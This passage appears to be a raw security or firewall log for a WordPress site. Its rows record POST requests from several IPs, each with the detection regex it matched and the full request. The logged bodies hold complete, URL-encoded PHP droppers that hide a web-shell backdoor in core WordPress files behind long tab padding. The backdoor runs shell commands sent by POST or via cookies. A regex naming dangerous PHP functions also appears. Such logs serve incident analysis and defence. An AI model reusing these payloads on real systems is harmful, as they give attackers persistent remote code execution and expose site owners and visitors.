%2520.%2520%2524bind3%2520.%2520%25276d%2527%2529%253B%2524module_controller2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind1%2520.%2520%2524bind4%2520.%2520%2524bind3%2520.%2520%2524bind5%2520.%2520%2524bind5%2520.%2520%2524bind6%2520.%2520%2524bind3%2520.%2520%2524bind7%2520.%2520%252765%2527%2520.%2520%2524bind8%2529%253B%2524module_controller3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind3%2520.%2520%252778%2527%2520.%2520%252765%2527%2520.%2520%252763%2527%2529%253B%2524module_controller4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind9%2520.%2520%252761%2527%2520.%2520%2524bind1%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524bind4%2520.%2520%252772%2527%2520.%2520%2524bind10%2529%253B%2524module_controller5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%25276f%2527%2520.%2520%2524bind9%2520.%2520%2524bind3%2520.%2520%2524bind11%2529%253B%2524module_controller6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%2524bind2%2520.%2520%2524bind12%2520.%2520%2524bind3%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%252767%2527%2520.%2520%252765%2527%2520.%2520%2524bind2%2520.%2520%2524bind6%2520.%2520%252763%2527%2520.%2520%2524bind13%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524bind3%2520.%2520%2524bind11%2520.%2520%2524bind2%2520.%2520%252773%2527%2529%253B%2524module_controller7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524bind8%2520.%2520%2524bind5%2520.%2520%25276f%2527%2520.%2520%2524bind1%2520.%2520%252765%2527%2529%253B%2524data_storage%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind14%2520.%2520%252761%2527%2520.%2520%252774%2527%2520.%2520%2524bind15%2520.%2520%2524bind6%2520.%2520%2524bind1%2520.%2520%2524bind2%2520.%2520%25276f%2527%2520.%2520%252772%2527%2520.%2520%252761%2527%2520.%2520%252767%2527%2520.%2520%2524bind3%2529%253Bif%2528isset%2528%2524_POST%255B%2524data_storage%255D%2529%2529%257B%2524data_storage%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524data_storage%255D%2529%253Bif%2528function_exists%2528%2524module_controller1%2529%2529%257B%2524module_controller1%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller2%2529%2529%257Bprint%2520%2524module_controller2%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller3%2529%2529%257B%2524module_controller3%2528%2524data_storage%252C%2524object_data%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524object_data%2529%253B%257Delseif%2528function_exists%2528%2524module_controller4%2529%2529%257B%2524module_controller4%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller5%2529%2526%2526function_exists%2528%2524module_controller6%2529%2526%2526function_exists%2528%2524module_controller7%2529%2529%257B%2524itm_comp%253D%2524module_controller5%2528%2524data_storage%252C%2522r%2522%2529%253Bif%2528%2524itm_comp%2529%257B%2524rec_elem%253D%2524module_controller6%2528%2524itm_comp%2529%253B%2524module_controller7%2528%2524itm_comp%2529%253Bprint%2520%2524rec_elem%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:7077\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp0HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\n\nsE=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pluggable-deprecated.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524bind1%2520%253D%2520%252773%2527%253B%2524bind2%2520%253D%2520%252774%2527%253B%2524bind3%2520%253D%2520%252765%2527%253B%2524bind4%2520%253D%2520%252768%2527%253B%2524bind5%2520%253D%2520%25276c%2527%253B%2524bind6%2520%253D%2520%25275f%2527%253B%2524bind7%2520%253D%2520%252778%2527%253B%2524bind8%2520%253D%2520%252763%2527%253B%2524bind9%2520%253D%2520%252770%2527%253B%2524bind10%2520%253D%2520%252775%2527%253B%2524bind11%2520%253D%2520%25276e%2527%253B%2524bind12%2520%253D%2520%252772%2527%253B%2524bind13%2520%253D%2520%25276f%2527%253B%2524bind14%2520%253D%2520%252764%2527%253B%2524bind15%2520%253D%2520%252761%2527%253B%2524module_controller1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind1%2520.%2520%252779%2527%2520.%2520%2524bind1%2520.%2520%2524bind2%2520.%2520%2524bind3%2520.%2520%25276d%2527%2529%253B%2524module_controller2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind1%2520.%2520%2524bind4%2520.%2520%2524bind3%2520.%2520%2524bind5%2520.%2520%2524bind5%2520.%2520%2524bind6%2520.%2520%2524bind3%2520.%2520%2524bind7%2520.%2520%252765%2527%2520.%2520%2524bind8%2529%253B%2524module_controller3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind3%2520.%2520%252778%2527%2520.%2520%252765%2527%2520.%2520%252763%2527%2529%253B%2524module_controller4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind9%2520.%2520%252761%2527%2520.%2520%2524bind1%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524bind4%2520.%2520%252772%2527%2520.%2520%2524bind10%2529%253B%2524module_controller5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%25276f%2527%2520.%2520%2524bind9%2520.%2520%2524bind3%2520.%2520%2524bind11%2529%253B%2524module_controller6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%2524bind2%2520.%2520%2524bind12%2520.%2520%2524bind3%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%252767%2527%2520.%2520%252765%2527%2520.%2520%2524bind2%2520.%2520%2524bind6%2520.%2520%252763%2527%2520.%2520%2524bind13%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524bind3%2520.%2520%2524bind11%2520.%2520%2524bind2%2520.%2520%252773%2527%2529%253B%2524module_controller7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524bind8%2520.%2520%2524bind5%2520.%2520%25276f%2527%2520.%2520%2524bind1%2520.%2520%252765%2527%2529%253B%2524data_storage%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind14%2520.%2520%252761%2527%2520.%2520%252774%2527%2520.%2520%2524bind15%2520.%2520%2524bind6%2520.%2520%2524bind1%2520.%2520%2524bind2%2520.%2520%25276f%2527%2520.%2520%252772%2527%2520.%2520%252761%2527%2520.%2520%252767%2527%2520.%2520%2524bind3%2529%253Bif%2528isset%2528%2524_POST%255B%2524data_storage%255D%2529%2529%257B%2524data_storage%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524data_storage%255D%2529%253Bif%2528function_exists%2528%2524module_controller1%2529%2529%257B%2524module_controller1%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller2%2529%2529%257Bprint%2520%2524module_controller2%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller3%2529%2529%257B%2524module_controller3%2528%2524data_storage%252C%2524object_data%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524object_data%2529%253B%257Delseif%2528function_exists%2528%2524module_controller4%2529%2529%257B%2524module_controller4%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller5%2529%2526%2526function_exists%2528%2524module_controller6%2529%2526%2526function_exists%2528%2524module_controller7%2529%2529%257B%2524itm_comp%253D%2524module_controller5%2528%2524data_storage%252C%2522r%2522%2529%253Bif%2528%2524itm_comp%2529%257B%2524rec_elem%253D%2524module_controller6%2528%2524itm_comp%2529%253B%2524module_controller7%2528%2524itm_comp%2529%253Bprint%2520%2524rec_elem%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:43:06","34.101.101.253","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pluggable-deprecated.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524bind1%2520%253D%2520%252773%2527%253B%2524bind2%2520%253D%2520%252774%2527%253B%2524bind3%2520%253D%2520%252765%2527%253B%2524bind4%2520%253D%2520%252768%2527%253B%2524bind5%2520%253D%2520%25276c%2527%253B%2524bind6%2520%253D%2520%25275f%2527%253B%2524bind7%2520%253D%2520%252778%2527%253B%2524bind8%2520%253D%2520%252763%2527%253B%2524bind9%2520%253D%2520%252770%2527%253B%2524bind10%2520%253D%2520%252775%2527%253B%2524bind11%2520%253D%2520%25276e%2527%253B%2524bind12%2520%253D%2520%252772%2527%253B%2524bind13%2520%253D%2520%25276f%2527%253B%2524bind14%2520%253D%2520%252764%2527%253B%2524bind15%2520%253D%2520%252761%2527%253B%2524module_controller1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind1%2520.%2520%252779%2527%2520.%2520%2524bind1%2520.%2520%2524bind2%2520.%2520%2524bind3%2520.%2520%25276d%2527%2529%253B%2524module_controller2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind1%2520.%2520%2524bind4%2520.%2520%2524bind3%2520.%2520%2524bind5%2520.%2520%2524bind5%2520.%2520%2524bind6%2520.%2520%2524bind3%2520.%2520%2524bind7%2520.%2520%252765%2527%2520.%2520%2524bind8%2529%253B%2524module_controller3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind3%2520.%2520%252778%2527%2520.%2520%252765%2527%2520.%2520%252763%2527%2529%253B%2524module_controller4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind9%2520.%2520%252761%2527%2520.%2520%2524bind1%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524bind4%2520.%2520%252772%2527%2520.%2520%2524bind10%2529%253B%2524module_controller5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%25276f%2527%2520.%2520%2524bind9%2520.%2520%2524bind3%2520.%2520%2524bind11%2529%253B%2524module_controller6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%2524bind2%2520.%2520%2524bind12%2520.%2520%2524bind3%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%252767%2527%2520.%2520%252765%2527%2520.%2520%2524bind2%2520.%2520%2524bind6%2520.%2520%252763%2527%2520.%2520%2524bind13%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524bind3%2520.%2520%2524bind11%2520.%2520%2524bind2%2520.%2520%252773%2527%2529%253B%2524module_controller7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524bind8%2520.%2520%2524bind5%2520.%2520%25276f%2527%2520.%2520%2524bind1%2520.%2520%252765%2527%2529%253B%2524data_storage%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind14%2520.%2520%252761%2527%2520.%2520%252774%2527%2520.%2520%2524bind15%2520.%2520%2524bind6%2520.%2520%2524bind1%2520.%2520%2524bind2%2520.%2520%25276f%2527%2520.%2520%252772%2527%2520.%2520%252761%2527%2520.%2520%252767%2527%2520.%2520%2524bind3%2529%253Bif%2528isset%2528%2524_POST%255B%2524data_storage%255D%2529%2529%257B%2524data_storage%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524data_storage%255D%2529%253Bif%2528function_exists%2528%2524module_controller1%2529%2529%257B%2524module_controller1%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller2%2529%2529%257Bprint%2520%2524module_controller2%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller3%2529%2529%257B%2524module_controller3%2528%2524data_storage%252C%2524object_data%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524object_data%2529%253B%257Delseif%2528function_exists%2528%2524module_controller4%2529%2529%257B%2524module_controller4%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller5%2529%2526%2526function_exists%2528%2524module_controller6%2529%2526%2526function_exists%2528%2524module_controller7%2529%2529%257B%2524itm_comp%253D%2524module_controller5%2528%2524data_storage%252C%2522r%2522%2529%253Bif%2528%2524itm_comp%2529%257B%2524rec_elem%253D%2524module_controller6%2528%2524itm_comp%2529%253B%2524module_controller7%2528%2524itm_comp%2529%253Bprint%2520%2524rec_elem%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-dest:document\ncontent-length:7100\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"macOS\"\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pluggable-deprecated.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524bind1%2520%253D%2520%252773%2527%253B%2524bind2%2520%253D%2520%252774%2527%253B%2524bind3%2520%253D%2520%252765%2527%253B%2524bind4%2520%253D%2520%252768%2527%253B%2524bind5%2520%253D%2520%25276c%2527%253B%2524bind6%2520%253D%2520%25275f%2527%253B%2524bind7%2520%253D%2520%252778%2527%253B%2524bind8%2520%253D%2520%252763%2527%253B%2524bind9%2520%253D%2520%252770%2527%253B%2524bind10%2520%253D%2520%252775%2527%253B%2524bind11%2520%253D%2520%25276e%2527%253B%2524bind12%2520%253D%2520%252772%2527%253B%2524bind13%2520%253D%2520%25276f%2527%253B%2524bind14%2520%253D%2520%252764%2527%253B%2524bind15%2520%253D%2520%252761%2527%253B%2524module_controller1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind1%2520.%2520%252779%2527%2520.%2520%2524bind1%2520.%2520%2524bind2%2520.%2520%2524bind3%2520.%2520%25276d%2527%2529%253B%2524module_controller2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind1%2520.%2520%2524bind4%2520.%2520%2524bind3%2520.%2520%2524bind5%2520.%2520%2524bind5%2520.%2520%2524bind6%2520.%2520%2524bind3%2520.%2520%2524bind7%2520.%2520%252765%2527%2520.%2520%2524bind8%2529%253B%2524module_controller3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind3%2520.%2520%252778%2527%2520.%2520%252765%2527%2520.%2520%252763%2527%2529%253B%2524module_controller4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind9%2520.%2520%252761%2527%2520.%2520%2524bind1%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524bind4%2520.%2520%252772%2527%2520.%2520%2524bind10%2529%253B%2524module_controller5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%25276f%2527%2520.%2520%2524bind9%2520.%2520%2524bind3%2520.%2520%2524bind11%2529%253B%2524module_controller6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%2524bind2%2520.%2520%2524bind12%2520.%2520%2524bind3%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%252767%2527%2520.%2520%252765%2527%2520.%2520%2524bind2%2520.%2520%2524bind6%2520.%2520%252763%2527%2520.%2520%2524bind13%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524bind3%2520.%2520%2524bind11%2520.%2520%2524bind2%2520.%2520%252773%2527%2529%253B%2524module_controller7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524bind8%2520.%2520%2524bind5%2520.%2520%25276f%2527%2520.%2520%2524bind1%2520.%2520%252765%2527%2529%253B%2524data_storage%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind14%2520.%2520%252761%2527%2520.%2520%252774%2527%2520.%2520%2524bind15%2520.%2520%2524bind6%2520.%2520%2524bind1%2520.%2520%2524bind2%2520.%2520%25276f%2527%2520.%2520%252772%2527%2520.%2520%252761%2527%2520.%2520%252767%2527%2520.%2520%2524bind3%2529%253Bif%2528isset%2528%2524_POST%255B%2524data_storage%255D%2529%2529%257B%2524data_storage%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524data_storage%255D%2529%253Bif%2528function_exists%2528%2524module_controller1%2529%2529%257B%2524module_controller1%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller2%2529%2529%257Bprint%2520%2524module_controller2%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller3%2529%2529%257B%2524module_controller3%2528%2524data_storage%252C%2524object_data%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524object_data%2529%253B%257Delseif%2528function_exists%2528%2524module_controller4%2529%2529%257B%2524module_controller4%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller5%2529%2526%2526function_exists%2528%2524module_controller6%2529%2526%2526function_exists%2528%2524module_controller7%2529%2529%257B%2524itm_comp%253D%2524module_controller5%2528%2524data_storage%252C%2522r%2522%2529%253Bif%2528%2524itm_comp%2529%257B%2524rec_elem%253D%2524module_controller6%2528%2524itm_comp%2529%253B%2524module_controller7%2528%2524itm_comp%2529%253Bprint%2520%2524rec_elem%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 20:43:15","38.99.81.38","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> SS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-section.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B34%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B34%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B34%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B34%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B5%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B10%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B21%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B8%255D%2528%2524n%252C%2524p%255B11%255D.%2524p%255B0%255D%2528%2524p%255B12%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google 